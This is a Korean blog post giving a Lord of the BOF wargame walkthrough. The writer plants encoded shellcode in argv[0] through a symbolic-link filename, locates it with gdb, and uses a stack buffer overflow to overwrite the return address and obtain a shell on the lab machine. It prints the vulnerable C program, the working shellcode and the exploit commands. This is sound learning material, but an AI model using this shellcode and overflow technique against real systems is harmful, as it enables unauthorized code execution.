반응형
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ아 미친것같아요.

제가 지금 이걸 삽질한지 한달이 다되가는뎈ㅋㅋㅋㅋ

...하루만에 풀어버렸...

역시 안풀릴때는 처음으로 돌아가서 뭐든 다 날리고 다시시작하세여.

진리여.


밑의 더보기는 제 삽질(멘붕) 로그를 처음부터 끝까지 복붙한거에여.

멘탈건강을 위해 추천하지 않습니다. 밑에 또 정리해서 쓸거거든여.

하다가 멘붕와서 마구 엔터를 누른곳도.. 있기 때문에,

근데 많이 부족하다는걸 느낍니다.... 공부 열심히해야겠어요으어

풀이를 찾아보려고 하다가 아! 한번만 더 해보자! 했는데 풀렸쪙

그리고 스택은 어렵네요 아  머릿속에 그려지면서도 막 더 정보가 들어오면 뒤죽박죽이 됨..

그래서 해공예를 읽고있죠! 이번에 도움이 된것 같습니다ㅋㅋㅋ 



login: orge

Password: 

Last login: Fri Dec 13 09:58:07 from 192.168.0.1

[orge@localhost orge]$ ls

core

trall

trall.c

troll

troll.c

[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` //심볼릭링크 생성.

[orge@localhost orge]$ cat trall.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1])); /argv[1] 0으로 초기화, 고로 argv[0]에다가 넣어야함


}

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`

????????????????????????????????????????????퀭

Segmentation fault (core dumped)

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`

????????????????????????????????????????????衝

Illegal instruction (core dumped)

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`

????????????????????????????????????????????퀭 //하도 안되서 gdb로 코어를 뜯어보기로 했습니다.

Segmentation fault (core dumped)

[orge@localhost orge]$ gdb -q trall core


warning: core file may not match specified executable file.

Core was generated by `./?^12€l€?u楕凹2핽i00tii0cjo??T??

                                                                   귁?                            '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...Xshelldone.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbffffac9 in ?? ()

(gdb) x/50wx $esp

0xbffffa80: 0x00000000 0xbffffac4    0xbffffad0    0x40013868

0xbffffa90: 0x00000002 0x08048450 0x00000000 0x08048471

0xbffffaa0: 0x08048500 0x00000002 0xbffffac4    0x08048390

0xbffffab0: 0x080486ac 0x4000ae60 0xbffffabc    0x40013e90

0xbffffac0: 0x00000002 0xbffffbb8    0xbffffbeb     0x00000000

0xbffffad0: 0xbffffc1c    0xbffffc2b    0xbffffc42    0xbffffc61

0xbffffae0: 0xbffffc83    0xbffffc8d    0xbffffe50    0xbffffe6f

0xbffffaf0: 0xbffffe89    0xbffffe9e    0xbffffeba     0xbffffec5

0xbffffb00: 0xbffffedd    0xbffffeea    0xbffffef2     0xbffffefc

0xbffffb10: 0xbfffff0c     0xbfffff1a     0xbfffff28     0xbfffff39

0xbffffb20: 0xbfffff44     0xbfffff54     0xbfffff94     0x00000000

0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb40: 0x00000005 0x00000006

(gdb) 

0xbffffb48: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffb58: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffb68: 0x0000000b 0x000001fb 0x0000000c 0x000001fb

0xbffffb78: 0x0000000d 0x000001fb 0x0000000e 0x000001fb

0xbffffb88: 0x00000010 0x0febfbff     0x0000000f 0xbffffbb3

0xbffffb98: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffba8: 0x00000000 0x00000000 0x69000000 0x00363836

0xbffffbb8: 0x11eb2f2e  0xb1c9315      0x0e6c8032 0xe98001ff

0xbffffbc8:0xebf67501    0xffeae805      0xc132ffff     0x30306951

0xbffffbd8:0x30696974   0x8a6f6a63     0x8a5451e4 0x0cb19ae2

0xbffffbe8:0x000081ce 0x00000000 0x00000000 0x00000000

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x00000000

(gdb) quit

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`


????????????????????????????????????????????뫈

bash$ quit

sh: quit: command not found

bash$ exit

exit

[orge@localhost orge]$ ././`perl -e 'print  //여기서 길이때문에 안되는거였슴다. 크흡..

 "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`

????????????????????????????????????????????뫈

Segmentation fault

[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`

????????????????????????????????????????????뫈

bash$ my-pass

euid = 508


근데 일부러 'argv[0]주소가 바뀌나??? 에이 설마' 그러면서도 긴가민가해서 argv[0]의 주소를 체크하는 코드를 쭉 넣었는데, 왜 그 코드의 결과와 실제 argv[0]이 있던 장소가 다른건지는 모르겠어요. 누구 말씀해주실분...

컴이 버벅거려서 글이 더 써지지 않네요. 타자를 빨리치면 글자가 띄엄띄엄;; ㅠㅠ


NOTES(빡침주의)

arcg=전달되는 인자의 단어수

멤셋이 근데 argv[1]에 되어있는데 3에 넣지도 못하고 어떡하지

-심볼릭링크이용

-파일을 가르키고 있는 파일이라고 한다 포인터같은건가;; 아님 환경변수같은건가 

심볼릭링크를 쓰면 스택은 니친구야! 라고 뜬다 아빡쳐

\x2f때문이라고한다


음 그렇다면 페이로드

argv0으로 쉘코드넣고(심볼릭링크) argv0의 주소를 얻어내고 그 후 argv1로 bf를 인증한다. 그다음에 argv의 nopsled를 이용해 타고내려간다! 근데 없쪙! argv0의 주소를 알아내고 바로가는수밖에!

argv 1로 44바이트는 쓰레기값으로 채우고 그 후에 리턴어드레스를 넣으면..되나?


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

vampire->skeleton  (2) 2014.02.25
troll->vampire  (0) 2013.12.22
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21

+ Recent posts